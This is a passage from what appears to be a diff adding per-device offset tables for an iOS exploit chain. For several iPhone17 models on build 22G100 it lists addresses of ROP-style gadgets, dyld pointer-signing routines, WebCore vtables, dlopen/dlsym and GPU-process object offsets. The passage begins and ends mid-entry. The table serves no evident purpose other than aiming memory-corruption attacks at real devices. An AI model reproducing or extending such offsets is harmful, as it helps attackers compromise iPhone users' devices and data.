ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25813fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e4c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,1_22G100": { + __pthread_head : 0x26a00c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a1fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27270c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,2_22G100": { + __pthread_head : 0x26a00c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a1fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27270c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,3_22G100": { + __pthread_head : 0x2699b8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a17e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2720a4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone17,4_22G100": { + __pthread_head : 0x2699b8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a17e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2720a4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone17,5_22G100": { + __pthread_head : 0x269720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa390n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa2f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa340n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9738n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 